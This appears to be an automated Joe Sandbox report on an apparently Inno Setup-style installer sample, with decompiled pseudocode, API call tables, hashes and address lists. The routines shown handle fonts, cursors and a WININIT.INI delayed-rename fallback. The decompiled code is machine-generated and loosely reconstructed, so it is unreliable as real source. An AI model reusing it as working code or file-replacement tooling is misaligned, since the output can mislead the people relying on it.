                                                          0x00429702
                                                          0x00429702
                                                          0x0042973e

                                                          APIs
                                                          • 72E5AC50.USER32(00000000), ref: 004296A2
                                                          • GetTextMetricsA.GDI32(00000000), ref: 004296AB
                                                            • Part of subcall function 0041A400: CreateFontIndirectA.GDI32(?), ref: 0041A4BF
                                                          • SelectObject.GDI32(00000000,00000000), ref: 004296BA
                                                          • GetTextMetricsA.GDI32(00000000,?), ref: 004296C7
                                                          • SelectObject.GDI32(00000000,00000000), ref: 004296CE
                                                          • 72E5B380.USER32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 004296D6
                                                          • GetSystemMetrics.USER32 ref: 004296FB
                                                          • GetSystemMetrics.USER32 ref: 00429715
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Metrics$ObjectSelectSystemText$B380CreateFontIndirect
                                                          • String ID:
                                                          • API String ID: 3751190600-0
                                                          • Opcode ID: e945e0b177c95f432154d37726f6d6a5ab7f959bc435cf2b34db26bf54b18a3a
                                                          • Instruction ID: c410af5f5b8ba21e81adcbcc7d5009d7b9ffe9d4a61ec38023bf4b1fd5a38c08
                                                          • Opcode Fuzzy Hash: e945e0b177c95f432154d37726f6d6a5ab7f959bc435cf2b34db26bf54b18a3a
                                                          • Instruction Fuzzy Hash: 1E01E1617043607AE310BA7ADCC2B6F26C8DB84358F40053FF646DA3D3D9AD9C50826A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 70%
                                                          			E0041E03C(int __eax) {
                                                          				int _t2;
                                                          
                                                          				_push(0);
                                                          				L00406034();
                                                          				_push(0x5a);
                                                          				_push(__eax);
                                                          				L00405D64();
                                                          				 *0x48d604 = __eax;
                                                          				_push(__eax);
                                                          				_push(0);
                                                          				L0040621C();
                                                          				_t2 =  *0x48d604; // 0x60
                                                          				 *0x48c4e8 =  ~(MulDiv(8, _t2, 0x48));
                                                          				 *0x48d608 = GetStockObject(7);
                                                          				 *0x48d60c = GetStockObject(5);
                                                          				 *0x48d610 = GetStockObject(0xd);
                                                          				 *0x48d614 = LoadIconA(0, 0x7f00);
                                                          				 *0x48d618 = E00419D54(0x2c, 1);
                                                          				 *0x48d61c = E00419D54(0x10, 1);
                                                          				 *0x48d620 = E00419D54(0x10, 1);
                                                          				 *0x48c568 = E00402C78(1);
                                                          				 *0x48d624 = E00402C78(1);
                                                          				return E0040B1B4(0x419278, 0x41a280, 0x41a2b0);
                                                          			}




                                                          0x0041e03d
                                                          0x0041e03f
                                                          0x0041e046
                                                          0x0041e048
                                                          0x0041e049
                                                          0x0041e04e
                                                          0x0041e053
                                                          0x0041e054
                                                          0x0041e056
                                                          0x0041e05d
                                                          0x0041e06c
                                                          0x0041e078
                                                          0x0041e084
                                                          0x0041e090
                                                          0x0041e0a1
                                                          0x0041e0b6
                                                          0x0041e0cb
                                                          0x0041e0e0
                                                          0x0041e0f1
                                                          0x0041e102
                                                          0x0041e11c

                                                          APIs
                                                          • 72E5AC50.USER32(00000000,?,00419271,0048B2A5), ref: 0041E03F
                                                          • 72E5AD70.GDI32(00000000,0000005A,00000000,?,00419271,0048B2A5), ref: 0041E049
                                                          • 72E5B380.USER32(00000000,00000000,00000000,0000005A,00000000,?,00419271,0048B2A5), ref: 0041E056
                                                          • MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041E065
                                                          • GetStockObject.GDI32(00000007), ref: 0041E073
                                                          • GetStockObject.GDI32(00000005), ref: 0041E07F
                                                          • GetStockObject.GDI32(0000000D), ref: 0041E08B
                                                          • LoadIconA.USER32 ref: 0041E09C
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ObjectStock$B380IconLoad
                                                          • String ID:
                                                          • API String ID: 1412791550-0
                                                          • Opcode ID: 36807873285816e71aa916e08d079bb5d84021a217d0168afe6b58aa755faea1
                                                          • Instruction ID: dd9410b35dba0f5ccb34aea041e51fac70e91536844c60efb4f12174f1097168
                                                          • Opcode Fuzzy Hash: 36807873285816e71aa916e08d079bb5d84021a217d0168afe6b58aa755faea1
                                                          • Instruction Fuzzy Hash: 8111E2B0A452055EE740BB6558527AE37A0D714748F00843FF609BF3D1E6791C449BAE
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 95%
                                                          			E0045D178(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
                                                          				intOrPtr* _v8;
                                                          				struct HICON__* _v12;
                                                          				signed int _v16;
                                                          				char _v17;
                                                          				signed int _v28;
                                                          				signed char _v32;
                                                          				signed char _v36;
                                                          				intOrPtr _v48;
                                                          				signed int _v52;
                                                          				signed int _v56;
                                                          				signed int _v60;
                                                          				char _v64;
                                                          				intOrPtr _t147;
                                                          				signed int _t160;
                                                          				signed char _t164;
                                                          				signed int _t167;
                                                          				signed char _t174;
                                                          				intOrPtr _t188;
                                                          				intOrPtr _t189;
                                                          				signed int _t198;
                                                          				signed int _t204;
                                                          				signed int _t207;
                                                          				void* _t210;
                                                          				void* _t213;
                                                          				intOrPtr _t214;
                                                          				intOrPtr _t217;
                                                          				void* _t227;
                                                          				intOrPtr _t234;
                                                          				signed char _t240;
                                                          				signed char _t242;
                                                          				intOrPtr _t263;
                                                          				signed int _t264;
                                                          				intOrPtr _t265;
                                                          				intOrPtr _t272;
                                                          				signed int _t276;
                                                          				intOrPtr _t280;
                                                          				void* _t282;
                                                          				void* _t286;
                                                          				void* _t291;
                                                          				void* _t293;
                                                          				signed char* _t299;
                                                          				intOrPtr _t300;
                                                          				intOrPtr _t301;
                                                          				void* _t302;
                                                          				void* _t304;
                                                          				void* _t305;
                                                          				void* _t306;
                                                          				intOrPtr _t307;
                                                          				void* _t308;
                                                          
                                                          				_t296 = __edi;
                                                          				_t305 = _t306;
                                                          				_t307 = _t306 + 0xffffffc4;
                                                          				_v64 = 0;
                                                          				_v16 = 0;
                                                          				_t238 = __edx;
                                                          				_v8 = __eax;
                                                          				 *[fs:eax] = _t307;
                                                          				_t245 =  *_v8;
                                                          				 *((intOrPtr*)( *_v8 - 0x10))( *[fs:eax], 0x45d534, _t305, __edi, __esi, __ebx, _t304);
                                                          				_t147 =  *((intOrPtr*)(__edx + 8));
                                                          				_t263 =  *((intOrPtr*)(_t147 + 8));
                                                          				_t308 = _t263 - 0xfffffe6b;
                                                          				if(_t308 > 0) {
                                                          					_t264 = _t263 - 0xfffffe6d;
                                                          					__eflags = _t264;
                                                          					if(_t264 == 0) {
                                                          						_t299 = _t147 + 0xc;
                                                          						_v60 = 0;
                                                          						_v56 = _t299[4];
                                                          						__eflags =  *_t299 & 0x00000001;
                                                          						if(( *_t299 & 0x00000001) != 0) {
                                                          							_t174 = _t299[0x24];
                                                          							__eflags =  *((char*)(_t174 + 9));
                                                          							if( *((char*)(_t174 + 9)) == 0) {
                                                          								_t272 = _v8;
                                                          								__eflags =  *((char*)(_t272 + 0x101));
                                                          								if( *((char*)(_t272 + 0x101)) != 0) {
                                                          									 *((char*)(_t174 + 9)) = 1;
                                                          									_t243 =  *_v8;
                                                          									 *((intOrPtr*)( *_v8 + 0x7c))();
                                                          									E0045CB48(_v64,  &_v16);
                                                          									__eflags = _v16;
                                                          									if(_v16 != 0) {
                                                          										__eflags = _t299[0x24] + 4;
                                                          										E00403598(_t299[0x24] + 4, _t243, _v16, __edi, _t299);
                                                          									}
                                                          								}
                                                          							}
                                                          							__eflags = _t299[0x14] - 1;
                                                          							E004075E4(_t299[0x10], _t299[0x14] - 1,  *(_t299[0x24] + 4));
                                                          						}
                                                          						__eflags =  *_t299 & 0x00000002;
                                                          						if(( *_t299 & 0x00000002) != 0) {
                                                          							_t51 =  &_v60;
                                                          							 *_t51 = _v60 | 0x00000002;
                                                          							__eflags =  *_t51;
                                                          							_t242 =  *((intOrPtr*)( *_v8 + 0x84))(0);
                                                          							_v36 = _t242;
                                                          							_t299[0x18] = _t242;
                                                          						}
                                                          						__eflags =  *_t299 & 0x00000020;
                                                          						if(( *_t299 & 0x00000020) != 0) {
                                                          							_t62 =  &_v60;
                                                          							 *_t62 = _v60 | 0x00000020;
                                                          							__eflags =  *_t62;
                                                          							_t240 =  *((intOrPtr*)( *_v8 + 0x84))(1);
                                                          							_v32 = _t240;
                                                          							_t299[0x1c] = _t240;
                                                          						}
                                                          						__eflags =  *_t299 & 0x00000040;
                                                          						if(( *_t299 & 0x00000040) != 0) {
                                                          							_v60 = _v60 | 0x00000040;
                                                          							E004183F8(_v8);
                                                          							_t160 = E00409CAC();
                                                          							__eflags = _t160;
                                                          							_v28 = (_t160 & 0xffffff00 | _t160 != 0x00000000) & 0x0000007f;
                                                          							__eflags = _v28;
                                                          							if(_v28 == 0) {
                                                          								_t164 = _t299[0x24];
                                                          								__eflags =  *((char*)(_t164 + 8));
                                                          								if( *((char*)(_t164 + 8)) == 0) {
                                                          									_t167 =  *((intOrPtr*)( *_v8 + 0x8c))() & 0x0000007f;
                                                          									__eflags = _t167;
                                                          									_v28 = _t167;
                                                          								}
                                                          							}
                                                          							_t299[0x20] = _v28;
                                                          						}
                                                          						__eflags = _v60;
                                                          						if(_v60 != 0) {
                                                          							E00409D2C(E004183F8(_v8),  &_v60);
                                                          						}
                                                          					} else {
                                                          						_t276 = _t264 - 1;
                                                          						__eflags = _t276;
                                                          						if(_t276 == 0) {
                                                          							E0045D03C(_v8, __edx, __edi, __esi);
                                                          						} else {
                                                          							__eflags = _t276 - 0x190;
                                                          							if(__eflags == 0) {
                                                          								E0045D0C8(_t245, __eflags, _t305);
                                                          								 *(_t238 + 0xc) = 1;
                                                          							}
                                                          						}
                                                          					}
                                                          					goto L53;
                                                          				} else {
                                                          					if(_t308 == 0) {
                                                          						_t300 = _t147;
                                                          						__eflags =  *((intOrPtr*)(_t300 + 0xc)) - 2;
                                                          						if( *((intOrPtr*)(_t300 + 0xc)) != 2) {
                                                          							goto L53;
                                                          						} else {
                                                          							_t188 =  *((intOrPtr*)(_t300 + 0x5c));
                                                          							__eflags =  *((char*)(_t188 + 0xa));
                                                          							if( *((char*)(_t188 + 0xa)) != 0) {
                                                          								goto L53;
                                                          							} else {
                                                          								_t189 =  *((intOrPtr*)(_t300 + 0x5c));
                                                          								__eflags =  *((char*)(_t189 + 8));
                                                          								if( *((char*)(_t189 + 8)) != 0) {
                                                          									goto L53;
                                                          								} else {
                                                          									 *((char*)( *((intOrPtr*)(_t300 + 0x5c)) + 0xa)) = 1;
                                                          									_v12 = SetCursor(LoadCursorA(0, 0x7f02));
                                                          									 *[fs:eax] = _t307;
                                                          									 *((intOrPtr*)( *_v8 + 0x80))( *[fs:eax], 0x45d2a6, _t305);
                                                          									E004183F8(_v8);
                                                          									_t198 = E00409CAC();
                                                          									__eflags = _t198;
                                                          									if(_t198 == 0) {
                                                          										__eflags = 0;
                                                          										E0045D544(_v8, 0,  *((intOrPtr*)(_t300 + 0x3c)));
                                                          									}
                                                          									__eflags = 0;
                                                          									_pop(_t280);
                                                          									 *[fs:eax] = _t280;
                                                          									_push(0x45d516);
                                                          									return SetCursor(_v12);
                                                          								}
                                                          							}
                                                          						}
                                                          					} else {
                                                          						_t282 = _t263 - 0xfffffe61;
                                                          						if(_t282 == 0) {
                                                          							_t301 = _t147;
                                                          							__eflags =  *(_t301 + 0x14);
                                                          							if( *(_t301 + 0x14) != 0) {
                                                          								__eflags =  *(_t301 + 0x3c);
                                                          								if( *(_t301 + 0x3c) != 0) {
                                                          									E004183F8(_v8);
                                                          									_t210 = E00409CC4();
                                                          									E004183F8(_v8);
                                                          									_t213 = E00409CC4();
                                                          									__eflags = _t210 - _t213;
                                                          									if(_t210 != _t213) {
                                                          										_t128 = __edx + 0xc;
                                                          										 *_t128 =  *(__edx + 0xc) | 0x00000001;
                                                          										__eflags =  *_t128;
                                                          									}
                                                          								}
                                                          							}
                                                          							_t204 =  *(_t301 + 0x3c);
                                                          							__eflags = _t204;
                                                          							if(_t204 != 0) {
                                                          								_v60 = 8;
                                                          								_v56 = _t204;
                                                          								_v48 = 0x20;
                                                          								_t207 = E00409D14(E004183F8(_v8),  &_v60);
                                                          								__eflags = _t207;
                                                          								if(_t207 != 0) {
                                                          									__eflags = _v52 & 0x00000020;
                                                          									if((_v52 & 0x00000020) != 0) {
                                                          										_t139 = _t238 + 0xc;
                                                          										 *_t139 =  *(_t238 + 0xc) | 0x00000002;
                                                          										__eflags =  *_t139;
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t286 = _t282 - 4;
                                                          							if(_t286 == 0) {
                                                          								_t302 = _t147 + 0xc;
                                                          								_t214 =  *((intOrPtr*)(_t302 + 0x24));
                                                          								__eflags =  *((char*)(_t214 + 8));
                                                          								if( *((char*)(_t214 + 8)) != 0) {
                                                          									__eflags =  *(_t302 + 0x10);
                                                          									if( *(_t302 + 0x10) != 0) {
                                                          										E00403674( &_v16,  *(_t302 + 0x10));
                                                          										_v17 = 1;
                                                          										_t217 = _v8;
                                                          										__eflags =  *((short*)(_t217 + 0x10e));
                                                          										if( *((short*)(_t217 + 0x10e)) != 0) {
                                                          											_t238 = _v8;
                                                          											 *((intOrPtr*)(_v8 + 0x10c))( &_v17);
                                                          										}
                                                          										__eflags = _v17;
                                                          										if(_v17 != 0) {
                                                          											E00403598( *((intOrPtr*)(_t302 + 0x24)), _t238, _v16, _t296, _t302);
                                                          											E00403598( *((intOrPtr*)(_t302 + 0x24)) + 4, _t238, _v16, _t296, _t302);
                                                          											E004183F8(_v8);
                                                          											_push(E00409CC4());
                                                          											_t227 = E004183F8(_v8);
                                                          											_pop(_t291);
                                                          											E00409D74(_t227, 0, _t291);
                                                          											E0045D03C(_v8, _t238, _t296, _t302);
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								_t293 = _t286 - 1;
                                                          								if(_t293 == 0) {
                                                          									_t234 =  *((intOrPtr*)(_t147 + 0x30));
                                                          									__eflags =  *((char*)(_t234 + 8));
                                                          									if( *((char*)(_t234 + 8)) == 0) {
                                                          										 *(__edx + 0xc) = 1;
                                                          									}
                                                          								} else {
                                                          									if(_t293 == 1) {
                                                          										E00403CDC( *((intOrPtr*)(_t147 + 0x34)));
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          						L53:
                                                          						_pop(_t265);
                                                          						 *[fs:eax] = _t265;
                                                          						_push(0x45d53b);
                                                          						E00403548( &_v64);
                                                          						return E00403548( &_v16);
                                                          					}
                                                          				}
                                                          			}




















































                                                          0x0045d178
                                                          0x0045d179
                                                          0x0045d17b
                                                          0x0045d183
                                                          0x0045d186
                                                          0x0045d189
                                                          0x0045d18b
                                                          0x0045d199
                                                          0x0045d1a1
                                                          0x0045d1a3
                                                          0x0045d1a6
                                                          0x0045d1a9
                                                          0x0045d1ac
                                                          0x0045d1b2
                                                          0x0045d1da
                                                          0x0045d1da
                                                          0x0045d1e0
                                                          0x0045d2ad
                                                          0x0045d2b2
                                                          0x0045d2b8
                                                          0x0045d2bb
                                                          0x0045d2be
                                                          0x0045d2c0
                                                          0x0045d2c3
                                                          0x0045d2c7
                                                          0x0045d2c9
                                                          0x0045d2cc
                                                          0x0045d2d3
                                                          0x0045d2d5
                                                          0x0045d2e2
                                                          0x0045d2e4
                                                          0x0045d2ed
                                                          0x0045d2f2
                                                          0x0045d2f6
                                                          0x0045d2fb
                                                          0x0045d301
                                                          0x0045d301
                                                          0x0045d2f6
                                                          0x0045d2d3
                                                          0x0045d309
                                                          0x0045d313
                                                          0x0045d313
                                                          0x0045d318
                                                          0x0045d31b
                                                          0x0045d31d
                                                          0x0045d31d
                                                          0x0045d31d
                                                          0x0045d337
                                                          0x0045d339
                                                          0x0045d33c
                                                          0x0045d33c
                                                          0x0045d33f
                                                          0x0045d342
                                                          0x0045d344
                                                          0x0045d344
                                                          0x0045d344
                                                          0x0045d35e
                                                          0x0045d360
                                                          0x0045d363
                                                          0x0045d363
                                                          0x0045d366
                                                          0x0045d369
                                                          0x0045d36b
                                                          0x0045d372
                                                          0x0045d37a
                                                          0x0045d37f
                                                          0x0045d387
                                                          0x0045d38a
                                                          0x0045d38e
                                                          0x0045d390
                                                          0x0045d393
                                                          0x0045d397
                                                          0x0045d3a7
                                                          0x0045d3a7
                                                          0x0045d3aa
                                                          0x0045d3aa
                                                          0x0045d397
                                                          0x0045d3b0
                                                          0x0045d3b0
                                                          0x0045d3b3
                                                          0x0045d3b7
                                                          0x0045d3c8
                                                          0x0045d3c8
                                                          0x0045d1e6
                                                          0x0045d1e6
                                                          0x0045d1e6
                                                          0x0045d1e7
                                                          0x0045d3d5
                                                          0x0045d1ed
                                                          0x0045d1ed
                                                          0x0045d1f3
                                                          0x0045d499
                                                          0x0045d49f
                                                          0x0045d49f
                                                          0x0045d1f3
                                                          0x0045d1e7
                                                          0x00000000
                                                          0x0045d1b4
                                                          0x0045d1b4
                                                          0x0045d210
                                                          0x0045d212
                                                          0x0045d216
                                                          0x00000000
                                                          0x0045d21c
                                                          0x0045d21c
                                                          0x0045d21f
                                                          0x0045d223
                                                          0x00000000
                                                          0x0045d229
                                                          0x0045d229
                                                          0x0045d22c
                                                          0x0045d230
                                                          0x00000000
                                                          0x0045d236
                                                          0x0045d239
                                                          0x0045d24f
                                                          0x0045d25d
                                                          0x0045d268
                                                          0x0045d271
                                                          0x0045d279
                                                          0x0045d27e
                                                          0x0045d280
                                                          0x0045d282
                                                          0x0045d28a
                                                          0x0045d28a
                                                          0x0045d28f
                                                          0x0045d291
                                                          0x0045d294
                                                          0x0045d297
                                                          0x0045d2a5
                                                          0x0045d2a5
                                                          0x0045d230
                                                          0x0045d223
                                                          0x0045d1b6
                                                          0x0045d1b6
                                                          0x0045d1bc
                                                          0x0045d4a8
                                                          0x0045d4aa
                                                          0x0045d4ae
                                                          0x0045d4b0
                                                          0x0045d4b4
                                                          0x0045d4b9
                                                          0x0045d4c1
                                                          0x0045d4cb
                                                          0x0045d4d3
                                                          0x0045d4d8
                                                          0x0045d4da
                                                          0x0045d4dc
                                                          0x0045d4dc
                                                          0x0045d4dc
                                                          0x0045d4dc
                                                          0x0045d4da
                                                          0x0045d4b4
                                                          0x0045d4e0
                                                          0x0045d4e3
                                                          0x0045d4e5
                                                          0x0045d4e7
                                                          0x0045d4ee
                                                          0x0045d4f1
                                                          0x0045d503
                                                          0x0045d508
                                                          0x0045d50a
                                                          0x0045d50c
                                                          0x0045d510
                                                          0x0045d512
                                                          0x0045d512
                                                          0x0045d512
                                                          0x0045d512
                                                          0x0045d510
                                                          0x0045d50a
                                                          0x0045d1c2
                                                          0x0045d1c2
                                                          0x0045d1c5
                                                          0x0045d3fb
                                                          0x0045d3fe
                                                          0x0045d401
                                                          0x0045d405
                                                          0x0045d40b
                                                          0x0045d40f
                                                          0x0045d41b
                                                          0x0045d420
                                                          0x0045d424
                                                          0x0045d427
                                                          0x0045d42f
                                                          0x0045d438
                                                          0x0045d444
                                                          0x0045d444
                                                          0x0045d44a
                                                          0x0045d44e
                                                          0x0045d45a
                                                          0x0045d468
                                                          0x0045d470
                                                          0x0045d47d
                                                          0x0045d481
                                                          0x0045d488
                                                          0x0045d489
                                                          0x0045d491
                                                          0x0045d491
                                                          0x0045d44e
                                                          0x0045d40f
                                                          0x0045d1cb
                                                          0x0045d1cb
                                                          0x0045d1cc
                                                          0x0045d3e2
                                                          0x0045d3e5
                                                          0x0045d3e9
                                                          0x0045d3ef
                                                          0x0045d3ef
                                                          0x0045d1d2
                                                          0x0045d1d3
                                                          0x0045d206
                                                          0x0045d206
                                                          0x0045d1d3
                                                          0x0045d1cc
                                                          0x0045d1c5
                                                          0x0045d516
                                                          0x0045d518
                                                          0x0045d51b
                                                          0x0045d51e
                                                          0x0045d526
                                                          0x0045d533
                                                          0x0045d533
                                                          0x0045d1b4

                                                          APIs
                                                          • LoadCursorA.USER32 ref: 0045D244
                                                          • SetCursor.USER32(00000000,00000000,00007F02), ref: 0045D24A
                                                          • SetCursor.USER32(00000000,0045D516,00007F02), ref: 0045D2A0
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Cursor$Load
                                                          • String ID: $ $@
                                                          • API String ID: 1675784387-2546599590
                                                          • Opcode ID: 9bd7001868351f52c6a0dc9a7808dd087e886db16c1752e90c176ebb1f5fbe19
                                                          • Instruction ID: 157ba0cc8372cee28b2df8be4483f9e1a3fa4d01088a382cfda5585d36a2884e
                                                          • Opcode Fuzzy Hash: 9bd7001868351f52c6a0dc9a7808dd087e886db16c1752e90c176ebb1f5fbe19
                                                          • Instruction Fuzzy Hash: 23C15130E00608AFD724DF69C585A9EBBF1AF08309F14856AEC45977A3D778ED48CB49
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 78%
                                                          			E00452300(char __eax, void* __ebx, char __edx, void* __edi, void* __esi) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				intOrPtr _v28;
                                                          				intOrPtr _v32;
                                                          				char _v36;
                                                          				char _v40;
                                                          				char _v41;
                                                          				char _v48;
                                                          				char _v52;
                                                          				void* __ecx;
                                                          				void* _t90;
                                                          				char _t141;
                                                          				void* _t151;
                                                          				char _t176;
                                                          				char _t177;
                                                          				intOrPtr _t180;
                                                          				intOrPtr _t188;
                                                          				intOrPtr _t195;
                                                          				intOrPtr _t219;
                                                          				intOrPtr _t229;
                                                          				intOrPtr _t230;
                                                          
                                                          				_t227 = __esi;
                                                          				_t226 = __edi;
                                                          				_t229 = _t230;
                                                          				_t180 = 5;
                                                          				goto L1;
                                                          				L4:
                                                          				if(E0042DB78(_t90) != 0) {
                                                          					__eflags = _t176;
                                                          					if(_t176 == 0) {
                                                          						E00452228(_v8, _t176, _t181,  &_v48, _t226, _t227);
                                                          						E004035DC( &_v8, _v48);
                                                          						__eflags = _v12;
                                                          						if(_v12 != 0) {
                                                          							E00452228(_v12, _t176, _t181,  &_v48, _t226, _t227);
                                                          							E004035DC( &_v12, _v48);
                                                          						}
                                                          					}
                                                          					_t182 = _v12;
                                                          					__eflags = E00451794(_t176, _v12, _v8, 5);
                                                          					if(__eflags == 0) {
                                                          						E00451B58("MoveFileEx", _t176, _t182, _t226, _t227, __eflags);
                                                          					}
                                                          					__eflags = 0;
                                                          					_pop(_t195);
                                                          					 *[fs:eax] = _t195;
                                                          					_push(E0045263D);
                                                          					E00403568( &_v52, 2);
                                                          					E00403568( &_v40, 2);
                                                          					return E00403568( &_v24, 5);
                                                          				} else {
                                                          					E0042D8B4( &_v16);
                                                          					E0042C614(_v16,  &_v48);
                                                          					E00403708( &_v20, "WININIT.INI", _v48);
                                                          					E00451EA4(0, _t176, 0x452660, _v16, _t226, _t227,  &_v24);
                                                          					_push(_t229);
                                                          					_push(0x452595);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t230;
                                                          					_v28 = 0;
                                                          					_v32 = 0;
                                                          					_push(_t229);
                                                          					_push(0x45253f);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t230;
                                                          					WritePrivateProfileStringA(0, 0, 0, E00403880(_v20));
                                                          					_v28 = E0044FF24(_v20, 1, 1, 0, 3);
                                                          					_t188 = _v24;
                                                          					_v32 = E004503B4(1, 0, 1, 0);
                                                          					_v41 = 0;
                                                          					_t177 = 0;
                                                          					while(E004502B0(_v28) == 0) {
                                                          						E004502C0(_v28, _t177,  &_v36, _t226, _t227);
                                                          						E00406C4C(_v36,  &_v40);
                                                          						__eflags = _v40;
                                                          						if(_v40 == 0) {
                                                          							L11:
                                                          							E0045049C(_v32, 1, _t188, _v36, _t226, _t227);
                                                          							_t177 = 0;
                                                          							__eflags = 0;
                                                          							continue;
                                                          						} else {
                                                          							__eflags =  *_v40 - 0x5b;
                                                          							if( *_v40 != 0x5b) {
                                                          								goto L11;
                                                          							} else {
                                                          								_t141 = E00406B28(_v40, "[rename]");
                                                          								__eflags = _t141;
                                                          								if(_t141 != 0) {
                                                          									__eflags = _v41;
                                                          									if(_v41 == 0) {
                                                          										goto L11;
                                                          									}
                                                          								} else {
                                                          									_v41 = 1;
                                                          									goto L11;
                                                          								}
                                                          							}
                                                          						}
                                                          						break;
                                                          					}
                                                          					if(_v41 == 0) {
                                                          						E0045049C(_v32, _t177, _t188, "[rename]", _t226, _t227);
                                                          					}
                                                          					if(_v12 == 0) {
                                                          						E004035DC( &_v40, 0x452684);
                                                          					} else {
                                                          						E0042D860(_v12, _t188,  &_v40);
                                                          					}
                                                          					E004035DC( &_v48, _v40);
                                                          					E004036C4( &_v48, 0x452690);
                                                          					_push( &_v48);
                                                          					E0042D860(_v8, _t188,  &_v52);
                                                          					_pop(_t151);
                                                          					E004036C4(_t151, _v52);
                                                          					E0045049C(_v32, _t177, _t188, _v48, _t226, _t227);
                                                          					if(_t177 != 0) {
                                                          						E0045049C(_v32, _t177, _t188, _v36, _t226, _t227);
                                                          					}
                                                          					while(E004502B0(_v28) == 0) {
                                                          						E004502C0(_v28, _t177,  &_v36, _t226, _t227);
                                                          						E0045049C(_v32, _t177, _t188, _v36, _t226, _t227);
                                                          					}
                                                          					_pop(_t219);
                                                          					 *[fs:eax] = _t219;
                                                          					_push(E00452546);
                                                          					E00402CA0(_v32);
                                                          					return E00402CA0(_v28);
                                                          				}
                                                          				L1:
                                                          				_push(0);
                                                          				_push(0);
                                                          				_t180 = _t180 - 1;
                                                          				if(_t180 != 0) {
                                                          					goto L1;
                                                          				} else {
                                                          					_push(_t180);
                                                          					_t1 =  &_v8;
                                                          					_t181 =  *_t1;
                                                          					 *_t1 = _t180;
                                                          					_push(__esi);
                                                          					_push(__edi);
                                                          					_v12 =  *_t1;
                                                          					_v8 = __edx;
                                                          					_t176 = __eax;
                                                          					E00403870(_v8);
                                                          					E00403870(_v12);
                                                          					_push(_t229);
                                                          					_push(0x452636);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t230;
                                                          					E0042C8F0(_v8,  &_v48);
                                                          					_t90 = E004035DC( &_v8, _v48);
                                                          					if(_v12 != 0) {
                                                          						E0042C8F0(_v12,  &_v48);
                                                          						_t90 = E004035DC( &_v12, _v48);
                                                          					}
                                                          				}
                                                          				goto L4;
                                                          			}



























                                                          0x00452300
                                                          0x00452300
                                                          0x00452301
                                                          0x00452304
                                                          0x00452304
                                                          0x0045236f
                                                          0x00452376
                                                          0x004525ae
                                                          0x004525b0
                                                          0x004525b8
                                                          0x004525c3
                                                          0x004525c8
                                                          0x004525cc
                                                          0x004525d4
                                                          0x004525df
                                                          0x004525df
                                                          0x004525cc
                                                          0x004525e6
                                                          0x004525f3
                                                          0x004525f5
                                                          0x004525fc
                                                          0x004525fc
                                                          0x00452601
                                                          0x00452603
                                                          0x00452606
                                                          0x00452609
                                                          0x00452616
                                                          0x00452623
                                                          0x00452635
                                                          0x0045237c
                                                          0x0045237f
                                                          0x0045238a
                                                          0x0045239a
                                                          0x004523ad
                                                          0x004523b4
                                                          0x004523b5
                                                          0x004523ba
                                                          0x004523bd
                                                          0x004523c2
                                                          0x004523c7
                                                          0x004523cc
                                                          0x004523cd
                                                          0x004523d2
                                                          0x004523d5
                                                          0x004523e7
                                                          0x00452401
                                                          0x0045240a
                                                          0x00452419
                                                          0x0045241c
                                                          0x00452420
                                                          0x00452474
                                                          0x0045242a
                                                          0x00452437
                                                          0x0045243c
                                                          0x00452440
                                                          0x00452467
                                                          0x0045246d
                                                          0x00452472
                                                          0x00452472
                                                          0x00000000
                                                          0x00452442
                                                          0x00452445
                                                          0x00452448
                                                          0x00000000
                                                          0x0045244a
                                                          0x00452452
                                                          0x00452457
                                                          0x00452459
                                                          0x00452461
                                                          0x00452465
                                                          0x00000000
